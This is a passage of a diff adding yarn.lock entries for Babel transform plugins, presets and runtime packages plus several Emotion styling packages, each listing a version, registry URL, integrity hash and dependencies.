+ integrity sha512-FW+WPjSR7hiUxMcKqyNjP05tQ2kmBCdpEpZHY1ARm96tGQCCBvXKnpjILtDplUnJ/eHZ0lALLM+d2lMFSpYJrQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-member-expression-literals@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.12.13.tgz#5ffa66cd59b9e191314c9f1f803b938e8c081e40"
+ integrity sha512-kxLkOsg8yir4YeEPHLuO2tXP9R/gTjpuTOjshqSpELUN3ZAg2jfDnKUvzzJxObun38sw3wm4Uu69sX/zA7iRvg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-modules-amd@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.14.2.tgz#6622806fe1a7c07a1388444222ef9535f2ca17b0"
+ integrity sha512-hPC6XBswt8P3G2D1tSV2HzdKvkqOpmbyoy+g73JG0qlF/qx2y3KaMmXb1fLrpmWGLZYA0ojCvaHdzFWjlmV+Pw==
+ dependencies:
+ "@babel/helper-module-transforms" "^7.14.2"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ babel-plugin-dynamic-import-node "^2.3.3"
+
+"@babel/plugin-transform-modules-commonjs@^7.14.0":
+ version "7.14.0"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.14.0.tgz#52bc199cb581e0992edba0f0f80356467587f161"
+ integrity sha512-EX4QePlsTaRZQmw9BsoPeyh5OCtRGIhwfLquhxGp5e32w+dyL8htOcDwamlitmNFK6xBZYlygjdye9dbd9rUlQ==
+ dependencies:
+ "@babel/helper-module-transforms" "^7.14.0"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/helper-simple-access" "^7.13.12"
+ babel-plugin-dynamic-import-node "^2.3.3"
+
+"@babel/plugin-transform-modules-systemjs@^7.13.8":
+ version "7.13.8"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.13.8.tgz#6d066ee2bff3c7b3d60bf28dec169ad993831ae3"
+ integrity sha512-hwqctPYjhM6cWvVIlOIe27jCIBgHCsdH2xCJVAYQm7V5yTMoilbVMi9f6wKg0rpQAOn6ZG4AOyvCqFF/hUh6+A==
+ dependencies:
+ "@babel/helper-hoist-variables" "^7.13.0"
+ "@babel/helper-module-transforms" "^7.13.0"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/helper-validator-identifier" "^7.12.11"
+ babel-plugin-dynamic-import-node "^2.3.3"
+
+"@babel/plugin-transform-modules-umd@^7.14.0":
+ version "7.14.0"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.14.0.tgz#2f8179d1bbc9263665ce4a65f305526b2ea8ac34"
+ integrity sha512-nPZdnWtXXeY7I87UZr9VlsWme3Y0cfFFE41Wbxz4bbaexAjNMInXPFUpRRUJ8NoMm0Cw+zxbqjdPmLhcjfazMw==
+ dependencies:
+ "@babel/helper-module-transforms" "^7.14.0"
+ "@babel/helper-plugin-utils" "^7.13.0"
+
+"@babel/plugin-transform-named-capturing-groups-regex@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.12.13.tgz#2213725a5f5bbbe364b50c3ba5998c9599c5c9d9"
+ integrity sha512-Xsm8P2hr5hAxyYblrfACXpQKdQbx4m2df9/ZZSQ8MAhsadw06+jW7s9zsSw6he+mJZXRlVMyEnVktJo4zjk1WA==
+ dependencies:
+ "@babel/helper-create-regexp-features-plugin" "^7.12.13"
+
+"@babel/plugin-transform-new-target@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.12.13.tgz#e22d8c3af24b150dd528cbd6e685e799bf1c351c"
+ integrity sha512-/KY2hbLxrG5GTQ9zzZSc3xWiOy379pIETEhbtzwZcw9rvuaVV4Fqy7BYGYOWZnaoXIQYbbJ0ziXLa/sKcGCYEQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-object-super@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.12.13.tgz#b4416a2d63b8f7be314f3d349bd55a9c1b5171f7"
+ integrity sha512-JzYIcj3XtYspZDV8j9ulnoMPZZnF/Cj0LUxPOjR89BdBVx+zYJI9MdMIlUZjbXDX+6YVeS6I3e8op+qQ3BYBoQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+ "@babel/helper-replace-supers" "^7.12.13"
+
+"@babel/plugin-transform-parameters@^7.12.1", "@babel/plugin-transform-parameters@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.14.2.tgz#e4290f72e0e9e831000d066427c4667098decc31"
+ integrity sha512-NxoVmA3APNCC1JdMXkdYXuQS+EMdqy0vIwyDHeKHiJKRxmp1qGSdb0JLEIoPRhkx6H/8Qi3RJ3uqOCYw8giy9A==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+
+"@babel/plugin-transform-property-literals@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.12.13.tgz#4e6a9e37864d8f1b3bc0e2dce7bf8857db8b1a81"
+ integrity sha512-nqVigwVan+lR+g8Fj8Exl0UQX2kymtjcWfMOYM1vTYEKujeyv2SkMgazf2qNcK7l4SDiKyTA/nHCPqL4e2zo1A==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-react-display-name@^7.12.13":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.14.2.tgz#2e854544d42ab3bb9c21f84e153d62e800fbd593"
+ integrity sha512-zCubvP+jjahpnFJvPaHPiGVfuVUjXHhFvJKQdNnsmSsiU9kR/rCZ41jHc++tERD2zV+p7Hr6is+t5b6iWTCqSw==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+
+"@babel/plugin-transform-react-jsx-development@^7.12.17":
+ version "7.12.17"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.12.17.tgz#f510c0fa7cd7234153539f9a362ced41a5ca1447"
+ integrity sha512-BPjYV86SVuOaudFhsJR1zjgxxOhJDt6JHNoD48DxWEIxUCAMjV1ys6DYw4SDYZh0b1QsS2vfIA9t/ZsQGsDOUQ==
+ dependencies:
+ "@babel/plugin-transform-react-jsx" "^7.12.17"
+
+"@babel/plugin-transform-react-jsx@^7.12.12", "@babel/plugin-transform-react-jsx@^7.12.17", "@babel/plugin-transform-react-jsx@^7.13.12":
+ version "7.14.3"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.14.3.tgz#0e26597805cf0862da735f264550933c38babb66"
+ integrity sha512-uuxuoUNVhdgYzERiHHFkE4dWoJx+UFVyuAl0aqN8P2/AKFHwqgUC5w2+4/PjpKXJsFgBlYAFXlUmDQ3k3DUkXw==
+ dependencies:
+ "@babel/helper-annotate-as-pure" "^7.12.13"
+ "@babel/helper-module-imports" "^7.13.12"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-jsx" "^7.12.13"
+ "@babel/types" "^7.14.2"
+
+"@babel/plugin-transform-react-pure-annotations@^7.12.1":
+ version "7.12.1"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.12.1.tgz#05d46f0ab4d1339ac59adf20a1462c91b37a1a42"
+ integrity sha512-RqeaHiwZtphSIUZ5I85PEH19LOSzxfuEazoY7/pWASCAIBuATQzpSVD+eT6MebeeZT2F4eSL0u4vw6n4Nm0Mjg==
+ dependencies:
+ "@babel/helper-annotate-as-pure" "^7.10.4"
+ "@babel/helper-plugin-utils" "^7.10.4"
+
+"@babel/plugin-transform-regenerator@^7.13.15":
+ version "7.13.15"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.13.15.tgz#e5eb28945bf8b6563e7f818945f966a8d2997f39"
+ integrity sha512-Bk9cOLSz8DiurcMETZ8E2YtIVJbFCPGW28DJWUakmyVWtQSm6Wsf0p4B4BfEr/eL2Nkhe/CICiUiMOCi1TPhuQ==
+ dependencies:
+ regenerator-transform "^0.14.2"
+
+"@babel/plugin-transform-reserved-words@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.12.13.tgz#7d9988d4f06e0fe697ea1d9803188aa18b472695"
+ integrity sha512-xhUPzDXxZN1QfiOy/I5tyye+TRz6lA7z6xaT4CLOjPRMVg1ldRf0LHw0TDBpYL4vG78556WuHdyO9oi5UmzZBg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-shorthand-properties@^7.12.1", "@babel/plugin-transform-shorthand-properties@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.12.13.tgz#db755732b70c539d504c6390d9ce90fe64aff7ad"
+ integrity sha512-xpL49pqPnLtf0tVluuqvzWIgLEhuPpZzvs2yabUHSKRNlN7ScYU7aMlmavOeyXJZKgZKQRBlh8rHbKiJDraTSw==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-spread@^7.12.1", "@babel/plugin-transform-spread@^7.13.0":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.13.0.tgz#84887710e273c1815ace7ae459f6f42a5d31d5fd"
+ integrity sha512-V6vkiXijjzYeFmQTr3dBxPtZYLPcUfY34DebOU27jIl2M/Y8Egm52Hw82CSjjPqd54GTlJs5x+CR7HeNr24ckg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/helper-skip-transparent-expression-wrappers" "^7.12.1"
+
+"@babel/plugin-transform-sticky-regex@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.12.13.tgz#760ffd936face73f860ae646fb86ee82f3d06d1f"
+ integrity sha512-Jc3JSaaWT8+fr7GRvQP02fKDsYk4K/lYwWq38r/UGfaxo89ajud321NH28KRQ7xy1Ybc0VUE5Pz8psjNNDUglg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-template-literals@^7.12.1", "@babel/plugin-transform-template-literals@^7.13.0":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.13.0.tgz#a36049127977ad94438dee7443598d1cefdf409d"
+ integrity sha512-d67umW6nlfmr1iehCcBv69eSUSySk1EsIS8aTDX4Xo9qajAh6mYtcl4kJrBkGXuxZPEgVr7RVfAvNW6YQkd4Mw==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+
+"@babel/plugin-transform-typeof-symbol@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.12.13.tgz#785dd67a1f2ea579d9c2be722de8c84cb85f5a7f"
+ integrity sha512-eKv/LmUJpMnu4npgfvs3LiHhJua5fo/CysENxa45YCQXZwKnGCQKAg87bvoqSW1fFT+HA32l03Qxsm8ouTY3ZQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-typescript@^7.13.0":
+ version "7.14.4"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.14.4.tgz#1c48829fa6d5f2de646060cd08abb6cda4b521a7"
+ integrity sha512-WYdcGNEO7mCCZ2XzRlxwGj3PgeAr50ifkofOUC/+IN/GzKLB+biDPVBUAQN2C/dVZTvEXCp80kfQ1FFZPrwykQ==
+ dependencies:
+ "@babel/helper-create-class-features-plugin" "^7.14.4"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-typescript" "^7.12.13"
+
+"@babel/plugin-transform-unicode-escapes@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.12.13.tgz#840ced3b816d3b5127dd1d12dcedc5dead1a5e74"
+ integrity sha512-0bHEkdwJ/sN/ikBHfSmOXPypN/beiGqjo+o4/5K+vxEFNPRPdImhviPakMKG4x96l85emoa0Z6cDflsdBusZbw==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-unicode-regex@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.12.13.tgz#b52521685804e155b1202e83fc188d34bb70f5ac"
+ integrity sha512-mDRzSNY7/zopwisPZ5kM9XKCfhchqIYwAKRERtEnhYscZB79VRekuRSoYbN0+KVe3y8+q1h6A4svXtP7N+UoCA==
+ dependencies:
+ "@babel/helper-create-regexp-features-plugin" "^7.12.13"
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/preset-env@^7.1.6", "@babel/preset-env@^7.12.11":
+ version "7.14.4"
+ resolved "https://registry.yarnpkg.com/@babel/preset-env/-/preset-env-7.14.4.tgz#73fc3228c59727e5e974319156f304f0d6685a2d"
+ integrity sha512-GwMMsuAnDtULyOtuxHhzzuSRxFeP0aR/LNzrHRzP8y6AgDNgqnrfCCBm/1cRdTU75tRs28Eh76poHLcg9VF0LA==
+ dependencies:
+ "@babel/compat-data" "^7.14.4"
+ "@babel/helper-compilation-targets" "^7.14.4"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/helper-validator-option" "^7.12.17"
+ "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining" "^7.13.12"
+ "@babel/plugin-proposal-async-generator-functions" "^7.14.2"
+ "@babel/plugin-proposal-class-properties" "^7.13.0"
+ "@babel/plugin-proposal-class-static-block" "^7.14.3"
+ "@babel/plugin-proposal-dynamic-import" "^7.14.2"
+ "@babel/plugin-proposal-export-namespace-from" "^7.14.2"
+ "@babel/plugin-proposal-json-strings" "^7.14.2"
+ "@babel/plugin-proposal-logical-assignment-operators" "^7.14.2"
+ "@babel/plugin-proposal-nullish-coalescing-operator" "^7.14.2"
+ "@babel/plugin-proposal-numeric-separator" "^7.14.2"
+ "@babel/plugin-proposal-object-rest-spread" "^7.14.4"
+ "@babel/plugin-proposal-optional-catch-binding" "^7.14.2"
+ "@babel/plugin-proposal-optional-chaining" "^7.14.2"
+ "@babel/plugin-proposal-private-methods" "^7.13.0"
+ "@babel/plugin-proposal-private-property-in-object" "^7.14.0"
+ "@babel/plugin-proposal-unicode-property-regex" "^7.12.13"
+ "@babel/plugin-syntax-async-generators" "^7.8.4"
+ "@babel/plugin-syntax-class-properties" "^7.12.13"
+ "@babel/plugin-syntax-class-static-block" "^7.12.13"
+ "@babel/plugin-syntax-dynamic-import" "^7.8.3"
+ "@babel/plugin-syntax-export-namespace-from" "^7.8.3"
+ "@babel/plugin-syntax-json-strings" "^7.8.3"
+ "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
+ "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
+ "@babel/plugin-syntax-numeric-separator" "^7.10.4"
+ "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
+ "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
+ "@babel/plugin-syntax-optional-chaining" "^7.8.3"
+ "@babel/plugin-syntax-private-property-in-object" "^7.14.0"
+ "@babel/plugin-syntax-top-level-await" "^7.12.13"
+ "@babel/plugin-transform-arrow-functions" "^7.13.0"
+ "@babel/plugin-transform-async-to-generator" "^7.13.0"
+ "@babel/plugin-transform-block-scoped-functions" "^7.12.13"
+ "@babel/plugin-transform-block-scoping" "^7.14.4"
+ "@babel/plugin-transform-classes" "^7.14.4"
+ "@babel/plugin-transform-computed-properties" "^7.13.0"
+ "@babel/plugin-transform-destructuring" "^7.14.4"
+ "@babel/plugin-transform-dotall-regex" "^7.12.13"
+ "@babel/plugin-transform-duplicate-keys" "^7.12.13"
+ "@babel/plugin-transform-exponentiation-operator" "^7.12.13"
+ "@babel/plugin-transform-for-of" "^7.13.0"
+ "@babel/plugin-transform-function-name" "^7.12.13"
+ "@babel/plugin-transform-literals" "^7.12.13"
+ "@babel/plugin-transform-member-expression-literals" "^7.12.13"
+ "@babel/plugin-transform-modules-amd" "^7.14.2"
+ "@babel/plugin-transform-modules-commonjs" "^7.14.0"
+ "@babel/plugin-transform-modules-systemjs" "^7.13.8"
+ "@babel/plugin-transform-modules-umd" "^7.14.0"
+ "@babel/plugin-transform-named-capturing-groups-regex" "^7.12.13"
+ "@babel/plugin-transform-new-target" "^7.12.13"
+ "@babel/plugin-transform-object-super" "^7.12.13"
+ "@babel/plugin-transform-parameters" "^7.14.2"
+ "@babel/plugin-transform-property-literals" "^7.12.13"
+ "@babel/plugin-transform-regenerator" "^7.13.15"
+ "@babel/plugin-transform-reserved-words" "^7.12.13"
+ "@babel/plugin-transform-shorthand-properties" "^7.12.13"
+ "@babel/plugin-transform-spread" "^7.13.0"
+ "@babel/plugin-transform-sticky-regex" "^7.12.13"
+ "@babel/plugin-transform-template-literals" "^7.13.0"
+ "@babel/plugin-transform-typeof-symbol" "^7.12.13"
+ "@babel/plugin-transform-unicode-escapes" "^7.12.13"
+ "@babel/plugin-transform-unicode-regex" "^7.12.13"
+ "@babel/preset-modules" "^0.1.4"
+ "@babel/types" "^7.14.4"
+ babel-plugin-polyfill-corejs2 "^0.2.0"
+ babel-plugin-polyfill-corejs3 "^0.2.0"
+ babel-plugin-polyfill-regenerator "^0.2.0"
+ core-js-compat "^3.9.0"
+ semver "^6.3.0"
+
+"@babel/preset-flow@^7.0.0":
+ version "7.13.13"
+ resolved "https://registry.yarnpkg.com/@babel/preset-flow/-/preset-flow-7.13.13.tgz#a61a1c149b3f77589d795287744393444d5cdd9e"
+ integrity sha512-MDtwtamMifqq3R2mC7l3A3uFalUb3NH5TIBQWjN/epEPlZktcLq4se3J+ivckKrLMGsR7H9LW8+pYuIUN9tsKg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/helper-validator-option" "^7.12.17"
+ "@babel/plugin-transform-flow-strip-types" "^7.13.0"
+
+"@babel/preset-modules@^0.1.4":
+ version "0.1.4"
+ resolved "https://registry.yarnpkg.com/@babel/preset-modules/-/preset-modules-0.1.4.tgz#362f2b68c662842970fdb5e254ffc8fc1c2e415e"
+ integrity sha512-J36NhwnfdzpmH41M1DrnkkgAqhZaqr/NBdPfQ677mLzlaXo+oDiv1deyCDtgAhz8p328otdob0Du7+xgHGZbKg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.0.0"
+ "@babel/plugin-proposal-unicode-property-regex" "^7.4.4"
+ "@babel/plugin-transform-dotall-regex" "^7.4.4"
+ "@babel/types" "^7.4.4"
+ esutils "^2.0.2"
+
+"@babel/preset-react@^7.12.10":
+ version "7.13.13"
+ resolved "https://registry.yarnpkg.com/@babel/preset-react/-/preset-react-7.13.13.tgz#fa6895a96c50763fe693f9148568458d5a839761"
+ integrity sha512-gx+tDLIE06sRjKJkVtpZ/t3mzCDOnPG+ggHZG9lffUbX8+wC739x20YQc9V35Do6ZAxaUc/HhVHIiOzz5MvDmA==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/helper-validator-option" "^7.12.17"
+ "@babel/plugin-transform-react-display-name" "^7.12.13"
+ "@babel/plugin-transform-react-jsx" "^7.13.12"
+ "@babel/plugin-transform-react-jsx-development" "^7.12.17"
+ "@babel/plugin-transform-react-pure-annotations" "^7.12.1"
+
+"@babel/preset-typescript@^7.1.0", "@babel/preset-typescript@^7.12.7":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/preset-typescript/-/preset-typescript-7.13.0.tgz#ab107e5f050609d806fbb039bec553b33462c60a"
+ integrity sha512-LXJwxrHy0N3f6gIJlYbLta1D9BDtHpQeqwzM0LIfjDlr6UE/D5Mc7W4iDiQzaE+ks0sTjT26ArcHWnJVt0QiHw==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/helper-validator-option" "^7.12.17"
+ "@babel/plugin-transform-typescript" "^7.13.0"
+
+"@babel/register@^7.0.0", "@babel/register@^7.12.1":
+ version "7.13.16"
+ resolved "https://registry.yarnpkg.com/@babel/register/-/register-7.13.16.tgz#ae3ab0b55c8ec28763877383c454f01521d9a53d"
+ integrity sha512-dh2t11ysujTwByQjXNgJ48QZ2zcXKQVdV8s0TbeMI0flmtGWCdTwK9tJiACHXPLmncm5+ktNn/diojA45JE4jg==
+ dependencies:
+ clone-deep "^4.0.1"
+ find-cache-dir "^2.0.0"
+ make-dir "^2.1.0"
+ pirates "^4.0.0"
+ source-map-support "^0.5.16"
+
+"@babel/runtime@^7.0.0", "@babel/runtime@^7.10.2", "@babel/runtime@^7.12.5", "@babel/runtime@^7.13.10", "@babel/runtime@^7.14.0", "@babel/runtime@^7.3.1", "@babel/runtime@^7.5.0", "@babel/runtime@^7.5.5", "@babel/runtime@^7.7.2", "@babel/runtime@^7.8.4":
+ version "7.14.0"
+ resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.14.0.tgz#46794bc20b612c5f75e62dd071e24dfd95f1cbe6"
+ integrity sha512-JELkvo/DlpNdJ7dlyw/eY7E0suy5i5GQH+Vlxaq1nsNJ+H7f4Vtv3jMeCEgRhZZQFXTjldYfQgv2qmM6M1v5wA==
+ dependencies:
+ regenerator-runtime "^0.13.4"
+
+"@babel/template@^7.12.13", "@babel/template@^7.12.7":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.12.13.tgz#530265be8a2589dbb37523844c5bcb55947fb327"
+ integrity sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==
+ dependencies:
+ "@babel/code-frame" "^7.12.13"
+ "@babel/parser" "^7.12.13"
+ "@babel/types" "^7.12.13"
+
+"@babel/traverse@^7.12.9", "@babel/traverse@^7.13.0", "@babel/traverse@^7.13.15", "@babel/traverse@^7.14.0", "@babel/traverse@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.14.2.tgz#9201a8d912723a831c2679c7ebbf2fe1416d765b"
+ integrity sha512-TsdRgvBFHMyHOOzcP9S6QU0QQtjxlRpEYOy3mcCO5RgmC305ki42aSAmfZEMSSYBla2oZ9BMqYlncBaKmD/7iA==
+ dependencies:
+ "@babel/code-frame" "^7.12.13"
+ "@babel/generator" "^7.14.2"
+ "@babel/helper-function-name" "^7.14.2"
+ "@babel/helper-split-export-declaration" "^7.12.13"
+ "@babel/parser" "^7.14.2"
+ "@babel/types" "^7.14.2"
+ debug "^4.1.0"
+ globals "^11.1.0"
+
+"@babel/types@^7.12.0", "@babel/types@^7.12.1", "@babel/types@^7.12.13", "@babel/types@^7.12.7", "@babel/types@^7.13.0", "@babel/types@^7.13.12", "@babel/types@^7.13.16", "@babel/types@^7.14.0", "@babel/types@^7.14.2", "@babel/types@^7.14.4", "@babel/types@^7.4.4", "@babel/types@^7.6.1", "@babel/types@^7.9.6":
+ version "7.14.4"
+ resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.14.4.tgz#bfd6980108168593b38b3eb48a24aa026b919bc0"
+ integrity sha512-lCj4aIs0xUefJFQnwwQv2Bxg7Omd6bgquZ6LGC+gGMh6/s5qDVfjuCMlDmYQ15SLsWHd9n+X3E75lKIhl5Lkiw==
+ dependencies:
+ "@babel/helper-validator-identifier" "^7.14.0"
+ to-fast-properties "^2.0.0"
+
+"@base2/pretty-print-object@1.0.0":
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/@base2/pretty-print-object/-/pretty-print-object-1.0.0.tgz#860ce718b0b73f4009e153541faff2cb6b85d047"
+ integrity sha512-4Th98KlMHr5+JkxfcoDT//6vY8vM+iSPrLNpHhRyLx2CFYi8e2RfqPLdpbnpo0Q5lQC5hNB79yes07zb02fvCw==
+
+"@cnakazawa/watch@^1.0.3":
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/@cnakazawa/watch/-/watch-1.0.4.tgz#f864ae85004d0fcab6f50be9141c4da368d1656a"
+ integrity sha512-v9kIhKwjeZThiWrLmj0y17CWoyddASLj9O2yvbZkbvw/N3rWOYy9zkV66ursAoVr0mV15bL8g0c4QZUE6cdDoQ==
+ dependencies:
+ exec-sh "^0.3.2"
+ minimist "^1.2.0"
+
+"@emotion/cache@^10.0.27":
+ version "10.0.29"
+ resolved "https://registry.yarnpkg.com/@emotion/cache/-/cache-10.0.29.tgz#87e7e64f412c060102d589fe7c6dc042e6f9d1e0"
+ integrity sha512-fU2VtSVlHiF27empSbxi1O2JFdNWZO+2NFHfwO0pxgTep6Xa3uGb+3pVKfLww2l/IBGLNEZl5Xf/++A4wAYDYQ==
+ dependencies:
+ "@emotion/sheet" "0.9.4"
+ "@emotion/stylis" "0.8.5"
+ "@emotion/utils" "0.11.3"
+ "@emotion/weak-memoize" "0.2.5"
+
+"@emotion/core@^10.1.1":
+ version "10.1.1"
+ resolved "https://registry.yarnpkg.com/@emotion/core/-/core-10.1.1.tgz#c956c1365f2f2481960064bcb8c4732e5fb612c3"
+ integrity sha512-ZMLG6qpXR8x031NXD8HJqugy/AZSkAuMxxqB46pmAR7ze47MhNJ56cdoX243QPZdGctrdfo+s08yZTiwaUcRKA==
+ dependencies:
+ "@babel/runtime" "^7.5.5"
+ "@emotion/cache" "^10.0.27"
+ "@emotion/css" "^10.0.27"
+ "@emotion/serialize" "^0.11.15"
+ "@emotion/sheet" "0.9.4"
+ "@emotion/utils" "0.11.3"
+
+"@emotion/css@^10.0.27":
+ version "10.0.27"
+ resolved "https://registry.yarnpkg.com/@emotion/css/-/css-10.0.27.tgz#3a7458198fbbebb53b01b2b87f64e5e21241e14c"
+ integrity sha512-6wZjsvYeBhyZQYNrGoR5yPMYbMBNEnanDrqmsqS1mzDm1cOTu12shvl2j4QHNS36UaTE0USIJawCH9C8oW34Zw==
+ dependencies:
+ "@emotion/serialize" "^0.11.15"
+ "@emotion/utils" "0.11.3"
+ babel-plugin-emotion "^10.0.27"
+
+"@emotion/hash@0.8.0":
+ version "0.8.0"
+ resolved "https://registry.yarnpkg.com/@emotion/hash/-/hash-0.8.0.tgz#bbbff68978fefdbe68ccb533bc8cbe1d1afb5413"
+ integrity sha512-kBJtf7PH6aWwZ6fka3zQ0p6SBYzx4fl1LoZXE2RrnYST9Xljm7WfKJrU4g/Xr3Beg72MLrp1AWNUmuYJTL7Cow==
+
+"@emotion/is-prop-valid@0.8.8", "@emotion/is-prop-valid@^0.8.6":
+ version "0.8.8"
+ resolved "https://registry.yarnpkg.com/@emotion/is-prop-valid/-/is-prop-valid-0.8.8.tgz#db28b1c4368a259b60a97311d6a952d4fd01ac1a"
+ integrity sha512-u5WtneEAr5IDG2Wv65yhunPSMLIpuKsbuOktRojfrEiEvRyC85LgPMZI63cr7NUqT8ZIGdSVg8ZKGxIug4lXcA==
+ dependencies:
+ "@emotion/memoize" "0.7.4"
+
+"@emotion/memoize@0.7.4":
+ version "0.7.4"
+ resolved "https://registry.yarnpkg.com/@emotion/memoize/-/memoize-0.7.4.tgz#19bf0f5af19149111c40d98bb0cf82119f5d9eeb"
+ integrity sha512-Ja/Vfqe3HpuzRsG1oBtWTHk2PGZ7GR+2Vz5iYGelAw8dx32K0y7PjVuxK6z1nMpZOqAFsRUPCkK1YjJ56qJlgw==
+
+"@emotion/serialize@^0.11.15", "@emotion/serialize@^0.11.16":
+ version "0.11.16"
+ resolved "https://registry.yarnpkg.com/@emotion/serialize/-/serialize-0.11.16.tgz#dee05f9e96ad2fb25a5206b6d759b2d1ed3379ad"
+ integrity sha512-G3J4o8by0VRrO+PFeSc3js2myYNOXVJ3Ya+RGVxnshRYgsvErfAOglKAiy1Eo1vhzxqtUvjCyS5gtewzkmvSSg==
+ dependencies:
+ "@emotion/hash" "0.8.0"
+ "@emotion/memoize" "0.7.4"
+ "@emotion/unitless" "0.7.5"
+ "@emotion/utils" "0.11.3"
+ csstype "^2.5.7"
+
+"@emotion/sheet@0.9.4":
+ version "0.9.4"
+ resolved "https://registry.yarnpkg.com/@emotion/sheet/-/sheet-0.9.4.tgz#894374bea39ec30f489bbfc3438192b9774d32e5"
+ integrity sha512-zM9PFmgVSqBw4zL101Q0HrBVTGmpAxFZH/pYx/cjJT5advXguvcgjHFTCaIO3enL/xr89vK2bh0Mfyj9aa0ANA==
+
+"@emotion/styled-base@^10.0.27":
+ version "10.0.31"
